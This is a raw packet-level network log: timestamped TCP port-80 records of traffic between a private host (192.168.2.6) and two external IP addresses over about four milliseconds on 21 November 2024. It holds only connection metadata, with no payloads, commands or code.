Nov 21, 2024 14:11:26.754115105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754127026 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754138947 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754138947 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754157066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754170895 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754174948 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754198074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754209995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754209995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754229069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754246950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754259109 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754303932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754318953 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754445076 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754457951 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754467964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754473925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754484892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754496098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754506111 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754506111 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754508018 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754518986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754532099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754535913 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754543066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754550934 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754573107 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754578114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754590988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754600048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754611015 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754614115 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754623890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754631042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754636049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754641056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754642963 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754652977 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754663944 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754663944 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754664898 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754677057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754688025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754703045 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754715919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754724979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754740000 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754741907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754750967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754754066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754765987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754776001 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754779100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754790068 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754792929 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754801035 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754807949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754812956 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754823923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754836082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754843950 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754847050 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754858971 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754864931 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754868984 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754880905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754884005 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754890919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754898071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754905939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754915953 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754925013 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754926920 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754939079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754945993 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754950047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.754961967 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754966974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.754972935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.754982948 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.754985094 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755008936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755031109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755031109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755187988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755197048 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755201101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755211115 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755223036 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755250931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755320072 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755328894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755340099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755351067 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755362034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755373001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755379915 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755383968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755395889 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755397081 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755408049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755419970 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755430937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755434036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755434990 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755465031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755465031 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755465984 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755475998 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755489111 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755500078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755511999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755522966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755534887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755541086 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755542040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755546093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755558014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755579948 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755582094 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755582094 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755594015 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755597115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755606890 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755609035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755620003 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755631924 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755637884 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755644083 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755655050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755665064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755672932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755677938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755685091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755690098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755707979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755723000 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755727053 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755733967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755743980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755749941 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755754948 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755765915 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755768061 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755783081 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755784988 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755795002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755799055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755806923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755806923 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755820990 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755829096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755831957 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755846977 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755850077 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755857944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755868912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755873919 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755878925 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755889893 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755901098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.755909920 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.755913019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.755924940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755924940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.755932093 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756006956 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756180048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756192923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756221056 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756232977 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756272078 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756315947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756350040 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756361008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756372929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756382942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756393909 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756403923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756414890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756424904 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756436110 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756438971 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756447077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756458044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756472111 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756474972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756480932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756499052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756499052 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756500959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756513119 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.756524086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756534100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756534100 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756546021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756557941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756560087 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756560087 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.756568909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756659031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756808996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756820917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756829977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756841898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756854057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756865025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756875992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756877899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756877899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756877899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756887913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756897926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756900072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756912947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.756922960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.756959915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757199049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757210970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757220984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757260084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757272005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757283926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757285118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757285118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757297993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757312059 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757406950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757457018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757467985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757478952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757524014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757534981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757545948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757555962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757561922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757561922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757586002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757601976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757611990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757625103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757635117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757637024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757637024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757646084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757674932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757687092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757697105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757709026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757709980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757710934 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757719040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757730961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757740021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757750034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757750034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757769108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757780075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757791996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757795095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757795095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757803917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757814884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757826090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757838011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757848024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757858992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757869959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757882118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757883072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757883072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757883072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757891893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757903099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757910013 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757915020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757926941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757936954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757946968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757951021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757951021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757951021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.757960081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757971048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.757982016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758025885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758025885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758081913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758223057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758235931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758318901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758352041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758363962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758373976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758385897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758397102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758408070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758414984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758419991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758436918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758444071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758455992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758498907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758508921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758519888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758531094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758541107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758541107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758541107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758543015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758554935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758563995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758565903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758577108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758589029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758599043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758626938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758626938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758629084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758641005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758651018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758658886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758661985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758692026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758727074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758757114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758768082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758780003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758786917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758786917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758790970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758801937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758814096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758820057 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758826017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758837938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758846045 CET	49903	80	192.168.2.6	34.116.198.130
